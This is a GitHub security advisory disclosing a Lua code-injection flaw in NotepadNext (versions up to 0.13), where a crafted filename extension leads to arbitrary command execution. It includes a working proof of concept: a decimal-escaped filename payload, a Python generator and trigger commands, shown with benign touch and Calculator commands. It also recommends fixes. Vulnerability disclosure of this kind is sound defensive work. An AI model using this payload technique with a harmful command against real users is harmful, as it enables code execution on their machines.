Skip to content

Improper Control of Generation of Code ('Code Injection') in dail8859/NotepadNext

High
dail8859 published GHSA-m5fq-c9x5-w54g Apr 27, 2026

Package

dail8859/NotepadNext (C++)

Affected versions

<= 0.13

Patched versions

0.14

Description

[NotepadNext] Arbitrary Code Execution via Lua Injection in Filename Extension Handling

Summary

NotepadNext's detectLanguageFromExtension() function interpolates a file's extension directly into a Lua script without sanitization. An attacker can craft a filename whose extension contains Lua code, which executes automatically when the victim opens the file in NotepadNext. Because luaL_openlibs() is called unconditionally, the full os, io, and package libraries are available to the injected code, enabling arbitrary command execution.

  • Severity: High
  • CVSS v3.1: AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — Score: 7.8
  • CWE: CWE-94 (Improper Control of Generation of Code)
  • Affected versions: ≤ v0.13
  • Patched versions: None (unpatched at time of report)
  • Ecosystem: C++ / Qt

Vulnerability Details

File: src/NotepadNextApplication.cpp (line 317)

QString NotepadNextApplication::detectLanguageFromExtension(const QString &extension) const
{
    qInfo(Q_FUNC_INFO);

    return getLuaState()->executeAndReturn<QString>(QString(R"(
    local ext = "%1"
    for name, L in pairs(languages) do
        if L.extensions then
            for _, v in ipairs(L.extensions) do
                if v == ext then
                    return name
                end
            end
        end
    end
    return "Text"
    )").arg(extension).toLatin1().constData());
}

The extension parameter is obtained via QFileInfo::suffix() (line 303), which returns the substring after the last . in the filename. This value is inserted into a Lua script template using QString::arg() with no escaping, quoting, or validation.

Additionally, LuaState::LuaState() calls luaL_openlibs() unconditionally:

// LuaState.cpp:82
luaL_openlibs(L);

This exposes the full standard library (os, io, package, etc.) to any injected Lua code.


Attack Scenario

  1. Attacker creates a malicious file whose filename extension contains Lua code. To avoid POSIX filename restrictions and prevent QFileInfo::suffix() from truncating at embedded dots, the OS command is encoded using Lua decimal escape sequences (\NNN):

    evil." load("\111\115\46\101\120\101\99\117\116\101\40\39\116\111\117\99\104\32\47\116\109\112\47\120\120\120\39\41")()--
    

    QFileInfo::suffix() extracts everything after the last .:

    " load("\111\115\46\101\120\101\99\117\116\101\40\39\116\111\117\99\104\32\47\116\109\112\47\120\120\120\39\41")()--
    
  2. Victim opens the file in NotepadNext via File → Open, drag-and-drop, CLI argument, or session restore.

  3. NotepadNext calls detectLanguageFromExtension(), constructing the following Lua source:

    local ext = "" load("os.execute('touch /tmp/xxx')")()--"
    for name, L in pairs(languages) do
        ...

    Lua parses this as:

    • local ext = "" — assigns empty string
    • load("os.execute('touch /tmp/xxx')")() — compiles and executes the injected OS command
    • --" — comments out the remainder
  4. os.execute() runs with the victim's OS privileges.


Proof of Concept

Automated PoC (macOS)

See attached poc_nn001_calc_demo.py. Running it against NotepadNext v0.13 on macOS launches Calculator.app:

$ python3 poc_nn001_calc_demo.py
[INFO] Binary   : /Applications/NotepadNext.app/Contents/MacOS/NotepadNext
[INFO] Payload  : os.execute('open -a Calculator')
[INFO] Malicious file: /tmp/evil." load("...")()--
[OK]   File created
[INFO] Launching NotepadNext with malicious filename as CLI argument...
[INFO] Waiting for startup...
[OK]   Calculator.app launched — RCE confirmed

Manual Reproduction

# 1. Create malicious file
python3 -c "
cmd = \"os.execute('open -a Calculator')\"
encoded = ''.join(f'\\\{ord(c)}' for c in cmd)
filename = f'evil.\" load(\"{encoded}\")()--'
open(f'/tmp/{filename}', 'w').close()
print('Created:', repr(filename))
"

# 2. Open in NotepadNext (any of these triggers the payload)
open -a NotepadNext /tmp/evil.*            # Finder / open command
/Applications/NotepadNext.app/Contents/MacOS/NotepadNext /tmp/evil.*  # CLI
# Or: drag the file onto NotepadNext in Finder

Runtime Log Confirmation

[0.147] I: void NotepadNextApplication::openFiles(const QStringList &)
[0.188] I: void MainWindow::detectLanguage(ScintillaNext *)
[0.188] I: QString NotepadNextApplication::detectLanguageFromExtension(const QString &) const

Calculator.app opens immediately after detectLanguageFromExtension() is entered.


Impact

  • Arbitrary Code Execution under the victim's user account
  • Full filesystem read/write access via Lua io library
  • No authentication or special privileges required — only requires the victim to open a file
  • Multiple trigger vectors: File → Open dialog, CLI argument, session restore, drag-and-drop
  • Platform: macOS and Linux (POSIX filesystems allow " in filenames; Windows NTFS does not, limiting exploitability there)

Recommended Fix

Option 1 (Preferred): Pass the extension as a Lua global variable instead of interpolating it into the script source:

lua_pushstring(L, extension.toLatin1().constData());
lua_setglobal(L, "ext");
// Lua template uses the global `ext` directly — no injection possible

Option 2: Sanitize the extension before interpolation — escape or strip characters that can break out of a Lua string literal:

QString safeExt = extension;
safeExt.replace("\\", "\\\\")
       .replace("\"", "\\\"")
       .replace("\n", "")
       .replace("\r", "");
// Use safeExt in the Lua template

Option 3: Restrict the Lua sandbox — do not call luaL_openlibs() unconditionally. Language detection does not require os, io, or package; exclude them from the sandboxed environment.


Additional Notes

  • The same injection pattern may apply to setLanguage() (line 275), which also constructs Lua via QString::arg() with potentially user-controlled input.
  • luaL_openlibs() is called in both LuaState.cpp:82 and LuaExtension.cpp:696, providing a large attack surface.
  • Payload encoding detail: QFileInfo::suffix() returns everything after the last dot. Any dot inside the payload causes truncation. Using Lua decimal escape encoding (\NNN) removes all dots from the payload, producing a reliable, dot-free injection string that passes through suffix() intact.

References

  • Vulnerable source: src/NotepadNextApplication.cpp:303-329
  • Lua execution: src/LuaState.cpp:82, src/LuaExtension.cpp:696
  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CVSS Calculator: AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-42214

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits